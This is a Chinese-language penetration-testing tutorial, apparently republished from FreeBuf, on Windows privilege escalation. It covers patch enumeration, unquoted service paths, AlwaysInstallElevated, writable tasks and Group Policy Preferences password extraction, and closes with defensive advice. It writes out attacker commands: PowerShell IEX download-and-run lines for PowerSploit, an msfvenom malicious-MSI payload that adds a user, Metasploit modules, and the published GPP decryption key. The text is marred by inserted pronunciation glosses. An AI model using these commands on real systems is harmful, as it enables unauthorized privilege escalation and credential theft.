NEWS

內(nèi)網滲透基石篇--權限提升. 2021-06-10


 

一、基礎知識

 

在windows中,權限大(dà)概分為(wèi)四種,分别是UserAdministratorSystemTrustedInstallerTrus

 

1.user:普通(tōng)用戶權限,是系統中最安全的權限(因為(wèi)分配給改組的默認權限不允許成員操作(zuò)修改操作(zuò)系統的設置或用戶資料)

 

2.Administrator:管理(lǐ)員權限。可(kě)以利用windows的機制(zhì)将自己提升為(wèi)system權限,以便操作(zuò)SAm文件

 

3.System:系統權限。可(kě)以對sam等敏感文件進行(xíng)讀取,往往需要将administrator權限提升到system權限才可(kě)以對散列值進行(xíng)DUmp操作(zuò)

 

4.TrustedInstaller:window中的最高(gāo)權限,對系統文件,即将擁有(yǒu)system權限也無法進行(xíng)獲取散列值、安裝軟件、修改防火(huǒ)牆規則、修改注冊表等

 

縱向提權:低(dī)權限角色獲得(de)高(gāo)權限角色的權限,例如,一個(gè)webshell權限通(tōng)過提權,擁有(yǒu)了管理(lǐ)員權限,這種提權就是縱向提權。

 

橫向提權:獲取同級别角色的權限。

 

二、系統內(nèi)核溢出漏洞提權分析及防範

 

溢出漏洞就像往杯子裏面裝水(shuǐ)— 如果水(shuǐ)太多(duō),杯子裝不下了,就會(huì)溢出來(lái)。

 

系統內(nèi)核溢出漏洞提權是一種通(tōng)用的提權方法,攻擊者通(tōng)常可(kě)以使用該方法繞過系統的所有(yǒu)安全限制(zhì)。攻擊者利用該漏洞的關鍵是目标系統沒用及時(shí)補丁。

 

1. 通(tōng)過手動執行(xíng)命令發現缺失補丁

 

1.whoami/groups

 

 

 

2.查看目标機器(qì)的補丁 systeminfo

 

 

 

3.使用wmic 命令:wmic qfe get Caption,Description ,HotFixID,InstalledOn

 

 

 

實驗1

 

2 .利用Metasploit發現缺失補丁

 

 

 

 

 

3. windows exploit suggseter

 

可(kě)以将已經安裝的補丁和(hé)微軟的漏洞數(shù)據庫進行(xíng)比較

并且可(kě)以幫助識别出能導緻權限提升的漏洞

 

下載地址:

 

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

 

 

 

 

 

 

 

拿(ná)到session必做(zuò)的2件事,可(kě)以快速識别系統可(kě)以利用的漏洞,比如提權~

 

use post/windows/gather/enum_patches

use post/multi/recon/local_exploit_suggester

 

4 PowerShell 的sherlock腳本

 

 

 

 

 

三、windows 操作(zuò)系統配置錯誤利用分析及規範

 

前言:在windows操作(zuò)系統中,攻擊者通(tōng)常會(huì)通(tōng)過系統內(nèi)核溢出漏洞來(lái)提權,但(dàn)如果碰到無法通(tōng)關系統溢出漏洞提取所在服務器(qì)權限的情況,就會(huì)利用系統中的配置錯誤來(lái)提權。

 

管理(lǐ)員憑證配置錯誤

服務配置錯誤

故意削弱的安全措施

用戶權限過高(gāo)

 

系統服務權限配置錯誤

 

windows系統服務文件在操作(zuò)系統啓動時(shí)加載執行(xíng),并在後台調用可(kě)執行(xíng)文件。如果一個(gè)低(dī)權限的用戶對此類系統服務調用的可(kě)執行(xíng)文件擁有(yǒu)寫權限,那(nà)麽就可(kě)以替換該文件,并随着系統啓動獲得(de)控制(zhì)權限。

 

windows服務是以system權限運行(xíng)的,其文件夾、文件和(hé)注冊表key-value都是受強制(zhì)訪問控制(zhì)保護的。但(dàn)是在某些(xiē)情況下,操作(zuò)系統中依然存在一些(xiē)沒有(yǒu)得(de)到有(yǒu)效保護的服務

 

系統服務權限配置錯誤(可(kě)寫目錄漏洞)有(yǒu)如下兩種可(kě)能。

 

1.服務未運行(xíng):攻擊者會(huì)使用任意服務來(lái)替換原來(lái)的服務,然後重啓服務。

2.服務正在運行(xíng)且無法被終止:這種情況符合絕大(dà)多(duō)數(shù)的漏洞利用情景,攻擊者通(tōng)常會(huì)利用DLL劫持技(jì)術(shù)并嘗試重啓服務來(lái)提權。

 

1.PowerUP下的實戰利用

 

下載地址:

 

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

 

 

 

  •  
powershell.exe -exec bypass -Command "& {import-Module .\Powerup.ps1; Invoke-AllChecks}"

 

 

 

  •  
Powershell.exe -nop -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1'); Invoke-AllChecks"

 

 

 

 

 

2.Metasploit下的實戰利用

 

 

 

 

 

2 注冊表鍵 ALwaysINstallElevated

 

允許低(dī)權限用戶以System權限安裝文件。如果啓用此策略設置項,那(nà)麽任何權限的用戶都以NT Authority\System權限來(lái)安裝惡意的MSI文件。

 

windows install是windows操作(zuò)系統的組件之一,專門(mén)用來(lái)管理(lǐ)配置軟件服務。它除了是一個(gè)安裝程序,還(hái)用于管理(lǐ)軟件的安裝、組件的添加、删除、監視(shì)文件的還(hái)原、通(tōng)過回滾進行(xíng)災難恢複。windows install通(tōng)過msiexec.exe安裝MSI文件,雙擊MSI文件就會(huì)運行(xíng)msiexec.exe。

 

在運行(xíng)中輸入gpedit.msc,然後以管理(lǐ)員方式打開(kāi):

 

配置「計(jì)算(suàn)機配置」

配置「用戶配置」

 

WIndows INstaller的相關知識點

 

 

 

 

 

通(tōng)過命令查詢是否開(kāi)啓

 

  •  
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

 

  •  
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

 

開(kāi)啓返回:

 

  •  
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer

 

  •  
AlwaysInstallElevated REG_DWORD 0x1

 

  •  
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer

 

  •  
AlwaysInstallElevated REG_DWORD 0x1

 

未開(kāi)啓就會(huì)返回系統找不到指定的注冊表項或值

 

如果系統開(kāi)啓了AlwaysInstallElevated,可(kě)以使用msfvenom創建惡意msi文件,然後使用msiexec進行(xíng)開(kāi)火(huǒ)

 

  •  
msfvenom -f msi -p windows/adduser USER=msi PASS=Yoga123!@ -o /root/msi.msi

 

  •  
msiexec /quiet /qn /i d:\msi.msi

 

  •  
# /quiet 安裝過程中禁止向用戶發送消息

 

  •  
# /qn 不使用GUI

 

  •  
# /i 安裝程序

 

或者直接使用exploit/windows/local/always_install_elevated模塊提至System權限

 

 

 

計(jì)劃任務

 

适用系統版本:

 

windows2000

windows2003

windows XP

 

at 是一個(gè)發布定時(shí)任務計(jì)劃的命令行(xíng)工具,語法比較簡單。通(tōng)過at命令發布的定時(shí)任務計(jì)劃,Windows默認以System權限運行(xíng)。定時(shí)任務可(kě)以是批處理(lǐ),也可(kě)以是一個(gè)二進制(zhì)文件

 

語法:

 

at 11:00PM calc.exe/interactive可(kě)以開(kāi)啓界面交互模式

 

利用Regsvr32+exploit/multi/script/web_delivery模塊

 

 

 

3.PowrUp下的實戰利用

 

1.powershell -nop -exec bypass IEX(New-Object

 

  •  
Net.WebClient).DownloadString('C:\Users\testuser\Desktop\Sherlock-master\PowerUp.ps1');Get-RegistryAlwaysInstallElevated

 

  •  
  •  
Get-RegistryAlwaysInstallElevatedWrite-UserAddMSI

 

 

 

  •  
msiexec.exe /q /i UserAdd.msi

 

 

 

四、 可(kě)信任服務路徑漏洞

 

利用了windows文件路徑解析的特性,如果一個(gè)服務調用的可(kě)執行(xíng)文件沒有(yǒu)正确處理(lǐ)所引用的完整路徑名,這個(gè)漏洞就會(huì)被攻擊者用來(lái)上(shàng)傳任意可(kě)執行(xíng)文件。

 

通(tōng)俗的說,如果一個(gè)服務的可(kě)執行(xíng)文件的路徑(帶空(kōng)格)沒有(yǒu)被雙引号引起來(lái),那(nà)麽這個(gè)服務就有(yǒu)漏洞。

 

一個(gè)例子,編譯之後存放在為(wèi)C:\Program Files\Test\test.exe

 

  •  
  •  
  •  
  •  
  •  
#include <stdio.h>int main(int argc, char *argv[]){printf("[*] Executed %s\n", argv[0]);}

 

從命令行(xíng)直接通(tōng)過其絕對路徑執行(xíng)該程序:

 

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
$ "C:\Program Files\Test\test.exe"[*] Executed C:\Program Files\Test\test.exe$ C:\Program Files\Test\test.exe'C:\Program' 不是內(nèi)部或外部命令,也不是可(kě)運行(xíng)的程序或批處理(lǐ)文件。#test改為(wèi)Program.exe之後并放入C盤下 $ C:\Program Files\Test\test.exe[*] Executed C:\Program

 

對于上(shàng)面的空(kōng)格,Windows都會(huì)嘗試尋找并執行(xíng)名字與空(kōng)格前的名字相匹配的程序,所以不加引号的時(shí)候就會(huì)報錯。此時(shí),假如能上(shàng)傳一個(gè)适當命名的後門(mén)程序,那(nà)麽當服務重啓的時(shí)候就會(huì)以system權限運行(xíng)(大(dà)多(duō)數(shù)情況下)

 

所以,理(lǐ)論上(shàng)一個(gè)服務的可(kě)執行(xíng)文件的路徑沒有(yǒu)用雙引号封閉,且包含空(kōng)格,那(nà)麽就是存在漏洞的

 

檢測是否存在漏洞

 

  •  
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """

 

檢查對有(yǒu)漏洞的目錄是否具有(yǒu)寫入權限

 

  •  
icacls "C:\Program Files"

 

使用trusted_service_path模塊

 

Trusted Service Paths漏洞産生(shēng)的原因

 

windows服務通(tōng)常都是以System權限運行(xíng)的,所以系統在解析服務的二進制(zhì)文件對應的文件路徑中的空(kōng)格的時(shí)候也會(huì)以系統權限進行(xíng)解析。如果我們能利用這一特性,就有(yǒu)機會(huì)進行(xíng)權限提升。

 

比如:

 

C:\Program Files\Some Folder\Service.exe

 

C:\Program.exe

 

C:\Program Files\Some.exe

 

C:\Program Files\Some Folder\Service.exe

 

所以如果我們能夠上(shàng)傳一個(gè)适當命名的惡意可(kě)執行(xíng)程序在受影(yǐng)響的目錄,服務一旦重啓,我們的惡意程序就會(huì)以system權限運行(xíng)(大(dà)多(duō)數(shù)情況下)。

 

1.Metasploit下的實戰利用

 

1.先檢測目标主機是否存在該漏洞。理(lǐ)論上(shàng)講,如果一個(gè)服務的可(kě)執行(xíng)文件的路徑沒有(yǒu)用雙引号封閉,并且包含空(kōng)格,那(nà)麽這個(gè)服務就是有(yǒu)漏洞的。我們在meterpreter shell命令提示符下輸入shell命令進入目标機cmd下,然後使用下列wmi查詢命令來(lái)列舉受害者機器(qì)上(shàng)所有(yǒu)的沒有(yǒu)加引号的服務路徑(除去了windows本身的服務)。

 

  •  
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

 

可(kě)以看到,有(yǒu)“Vulnerable Service”、“OmniServ”、“OmniServer”、“OmniServers”四個(gè)服務對應的二進制(zhì)文件路徑沒有(yǒu)引号包含起來(lái),并且路徑中包含空(kōng)格。是存在該漏洞的,但(dàn)在上(shàng)傳可(kě)執行(xíng)文件進去之前,我們需要确定我們對目标文件夾是否有(yǒu)寫入的權限。

 

2.檢查對有(yǒu)漏洞目錄是否有(yǒu)寫入的權限,這個(gè)很(hěn)關鍵。這裏我們使用Windows內(nèi)建的一個(gè)工具,icacls,下面我們用這個(gè)工具依次來(lái)檢查

 

“C:\Program Files”

 

“C:\Program Files\Common Files”

 

“C:\Program Files\Common Files\microsoft shared”

 

 

 

“Everyone”用戶對這個(gè)文件有(yǒu)完全控制(zhì)權,就是說所有(yǒu)用戶都具有(yǒu)全部權限修改這個(gè)文件夾。參數(shù)說明(míng):“M”表示修改,“F”代表完全控制(zhì),“CI”代表從屬容器(qì)将繼承訪問控制(zhì)項,“OI”代表從屬文件将繼承訪問控制(zhì)項。這意味着對該目錄有(yǒu)讀,寫,删除其下的文件,删除該目錄下的子目錄的權限。

 

3.我們确認了目标主機存在此漏洞後,将便開(kāi)始正式攻擊,Metasploit中相對應的是Windows Service Trusted Path Privilege Escalation本地利用模塊,該模塊會(huì)将惡意的可(kě)執行(xíng)程序放到受影(yǐng)響的文件夾中去,然後将受影(yǐng)響的服務重啓。接着我們輸入命令background,把當前的meterpreter shell轉為(wèi)後台執行(xíng)。然後在Metasploit中搜索trusted_service_path模塊

 

 

 

4 自動安裝配置文件

 

網絡管理(lǐ)員在內(nèi)網中給多(duō)台機器(qì)配置同一個(gè)環境時(shí),通(tōng)常不會(huì)逐台配置,而會(huì)使用腳本化批量部署的方法。在這一過程中,會(huì)使用安裝配置條件。

 

C:\sysprep.ing

 

C:sysC:sysprp.xml

 

C:\windows\system32\sysrep.inf

 

 

 

可(kě)以在metasploit中利用這個(gè)漏洞:

 

 

 

5. 計(jì)劃任務

 

AccessChk用于在windows中進行(xíng)一些(xiē)高(gāo)級查詢、管理(lǐ)和(hé)故障排除工作(zuò)。由于它是微軟官方提供的工具,所以殺毒軟件不會(huì)有(yǒu)告警。如果黑(hēi)客對以高(gāo)權限運行(xíng)的任務,所在的目錄具有(yǒu)寫權限,那(nà)麽就可(kě)以使用惡意程序覆蓋原有(yǒu)的程序。這樣,在計(jì)劃任務下次執行(xíng)的時(shí)候,就會(huì)以高(gāo)權限運行(xíng)惡意程序。

 

通(tōng)過AccessChk查看指定目錄的權限配置情況:

 

  •  
accesschk64.exe -dqv "C:\Microsoft" -accepteula-

 

6 Empire 內(nèi)置模塊

 

Empire內(nèi)置了PowerUp的部分模塊。輸入”usermodule prives/powerup”

 

五、 組策略首選項提權分析及防範

 

sysvol是活動目錄裏面的一個(gè)用于存儲域公共文件服務器(qì)副本的共享文件夾,在域中的所有(yǒu)域控制(zhì)器(qì)之間(jiān)進行(xíng)複制(zhì)。sysvol文件夾是在安裝活動目錄時(shí)自動創建的,主要用來(lái)存放登陸腳本、組策略數(shù)據、其他域控制(zhì)器(qì)需要的域信息。

 

sysvol在所有(yǒu)經過身份驗證的域用戶、域信任用戶具有(yǒu)讀權限的活動目錄的域範圍內(nèi)共享,整個(gè)sysvol目錄在所有(yǒu)的域控制(zhì)器(qì)中是自動同步和(hé)共享的,所有(yǒu)的域策略都存放在sysvol下。為(wèi)方便對所有(yǒu)機器(qì)進行(xíng)操作(zuò),網絡管理(lǐ)員會(huì)使用域策略進行(xíng)統一的配置和(hé)管理(lǐ),那(nà)麽所有(yǒu)機器(qì)的本地管理(lǐ)員密碼就是一樣的,黑(hēi)客就是利用這一點。

 

 

 

1.常見的組策略首選項:

 

映射驅動器(qì)

創建本地用戶

數(shù)據源

打印機配置

創建/更新服務

計(jì)劃任務

 

2 組策略首選項提取分析

 

1.創建組策略,批量修改域中機器(qì)的本地管理(lǐ)員密碼

 

 

 

進入「計(jì)算(suàn)機配置」下的「首選項」,就可(kě)以更新一個(gè)用戶啦。

 

 

 

計(jì)算(suàn)機配置中的賬戶策略,也隻是設置密碼的複雜度、長度、過期時(shí)間(jiān)等~

 

 

 

3.獲取組策略的憑據

 

1.手動查找

 

浏覽SysVQL文件夾,獲取相關文件

 

 

 

也可(kě)以使用type命令搜索。

 

2.使用powershell獲取cpassword

 

下載地址:

 

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

 

操作(zuò)過程:

 

1.首先打開(kāi)Windows資源管理(lǐ)器(qì),并搜索域名為(wèi)SYSVOL DFS共享的XML文件。在大(dà)多(duō)數(shù)情況下,以下XML文件将包含憑據:groups.xml,scheduledtasks.xml和(hé)&Services.xml,Printers.xml ,Drives.xml.

 

SYSVOL是所有(yǒu)經過身份驗證的用戶具有(yǒu)讀訪問權限的Active Directory中的域範圍共享

 

SYSVOL是指存儲域公共文件服務器(qì)副本的共享文件夾,它們在域中所有(yǒu)的域控制(zhì)器(qì)之間(jiān)複制(zhì)。Sysvol文件夾是安裝AD時(shí)創建的,它用來(lái)存放GPO、Script等信息。同時(shí),存放在Sysvol文件夾中的信息,會(huì)複制(zhì)到域中所有(yǒu)DC上(shàng)。

 

SYSVOL包含登錄腳本,組策略數(shù)據以及需要在任何有(yǒu)域控制(zhì)器(qì)的任何地方可(kě)用的其他域範圍數(shù)據(因為(wèi)SYSVOL在所有(yǒu)域控制(zhì)器(qì)之間(jiān)自動同步并共享)。

 

所有(yǒu)域組策略都存儲在這裏:\\ SYSVOL \\ Policies \

 

注意:C:\Windows\SYSVOL目錄下,隻有(yǒu)創建組策略腳本登錄才能有(yǒu)策略腳本配置文件groups.xml,默認是沒有(yǒu)的

 

當創建新的GPP時(shí),在SYSVOL中創建了一個(gè)與相關配置數(shù)據相關聯的XML文件,如果提供了密碼,那(nà)麽AES-256位加密應該足夠強的。

 

用于加密任何域中的所有(yǒu)組策略首選項密碼的32字節AES密鑰:

 

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8

 

f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

 

 

 

命令:

 

1.powershell “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPas
sword.ps1’);Get-GPPPassword”

2.powershell  import-modulo  .\Get-GPPpassword.ps1;Get-GppPassword

 

3.使用Metasploit獲取cpassword

 

 

 

4.使用Empire查找cpassword

 

命令:usemodule privesc/gpp

 

實驗:gpp組策略搭建

 

讓我們看一個(gè)例子,說明(míng)通(tōng)過組策略定義本地用戶登錄。它從創建和(hé)編輯組策略對象開(kāi)始:

 

 

 

在域組織中的組策略對象中創建一個(gè)登錄賬号腳本策略:名稱為(wèi):

 

gpp_local_login:

 

 

 

 

 

選擇新建的組策略gpp_local_login然後編輯:

 

 

 

 

 

用戶配置—-控制(zhì)面闆設置—-本地用戶和(hé)組—新建-本地用戶中添加一個(gè)腳本登錄。

 

 

 

 

 

可(kě)以看到域控制(zhì)器(qì)行(xíng)創建了本地組策略的文件:

 

 

 

通(tōng)過網絡共享可(kě)以訪問到GPP的組策略的文件:

 

\bk.com\SYSVOL\bk.com\Policies{CE710A28-3FB8-4365-B356-41A30B5E9014}\User\Preferences\Groups\gpoups.xml

 

 

 

打開(kāi)可(kě)以看到存儲的cpasword密碼:

 

 

 

六、 針對組策略首選項提取的防禦措施

 

1.設置共享文件夾SYSVOL的訪問權限

 

2.将包含組策略密碼的XMl文件從SYSVOl目錄中删除

 

3.不要把密碼放在所有(yǒu)域用戶都有(yǒu)權訪問的文件中

 

4.如果需要更改域中機器(qì)的本地管理(lǐ)員密碼,建議使用LAPs

 

總結:

 

本文主要從內(nèi)網權限提升出發,主要介紹一些(xiē)低(dī)權限用戶如何通(tōng)過一些(xiē)工具和(hé)腳本來(lái)獲取一些(xiē)高(gāo)權限。中間(jiān)介紹了一些(xiē)腳本和(hé)工具的使用,還(hái)做(zuò)了幾個(gè)實驗來(lái)理(lǐ)解這些(xiē)工具。

 本文轉自pony686/FreeBuf 


上(shàng)一篇:《數(shù)據安全法》解讀與企業合規建議
下一篇:網絡安全的未來(lái)是什麽?深度網絡空(kōng)間(jiān)分析